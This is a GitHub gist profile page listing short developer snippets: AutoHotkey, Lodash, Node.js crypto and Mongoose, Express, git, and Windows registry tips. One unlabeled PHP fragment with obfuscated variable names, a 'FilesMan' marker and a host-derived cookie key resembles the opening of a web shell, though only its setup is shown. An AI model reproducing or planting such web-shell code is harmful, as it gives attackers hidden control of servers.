Skip to content

Instantly share code, notes, and snippets.

View kosinix's full-sized avatar

Kosinix kosinix

  • Philippines
View GitHub Profile
@kosinix
kosinix / autofocus.ahk
Created December 3, 2023 07:46
Auto focus on a window by its title every 5 seconds. Uses AutoHotkey v1
SetTitleMatchMode, 2
Loop
{
WinActivate, Chrome
Sleep, 5000
}
@kosinix
kosinix / _.cheatsheet.js
Last active August 6, 2021 01:56
Lodash Cheatsheet
// Sort array based on array of sorted IDs
let unsorted = [
{
id: 'bcd'
},
{
id: 'abc'
}
]
<?php
$â–› = "";
$â–˜ = true;
$▜ = 'UTF-8';
$â–š = 'FilesMan';
$â–™ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
prototype(md5($_SERVER['HTTP_HOST'])."key", $â–™);
}
@kosinix
kosinix / gist:5158f604356c3d11ab8855f6f1723544
Created June 13, 2021 23:34
kill all running node app ubuntu
killall -9 node
/**
* Generates random string and password hashing
* @type {module:crypto}
*/
//// Core modules
const crypto = require('crypto');
const util = require('util');
//// External modules
@kosinix
kosinix / gist:ce3dcccaf50105b5c2248c084eb21ac2
Created June 12, 2020 09:58
Update gitignore and remove from repo
git rm -r --cached .
git add .
git commit -m 'Removed all files that are in the .gitignore'
@kosinix
kosinix / user.js
Created July 14, 2019 13:51
Express - Mongoose: Basic user table with password hash and checking methods.
//// Core modules
const crypto = require('crypto');
const util = require('util');
//// External modules
const mongoose = require('mongoose');
//// Modules
const randomBytesAsync = util.promisify(crypto.randomBytes);
@kosinix
kosinix / d.js
Created June 22, 2019 12:26
Kinabukasan ni Daggy
// Modules
const express = require('express')
const mysql = require('mysql')
const bodyParser = require('body-parser')
// Settings
const port = 3000
// Express
const app = express()
@kosinix
kosinix / win.md
Created April 20, 2018 00:04
Disable Taskbar Grouping Windows 10 for Power User

Disable Taskbar Grouping Windows 10 for Power User

Applies to inactivated windows too

Regedit

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  • if it doesn't already exist, make a new DWORD value first (32 bit) and name it TaskbarGlomLevel
  • value hexadecimal 2
@kosinix
kosinix / bitsbytes.md
Last active April 8, 2018 08:09
Quick intro to binary if you eat binary for dinner

1 hex (aa) = 1 byte = 8 bits (1010 1010)

Name Size
bit 1 bit
nybble 4 bits
byte 8 bits
hex 8 bits or 1 byte
halfword 16 bits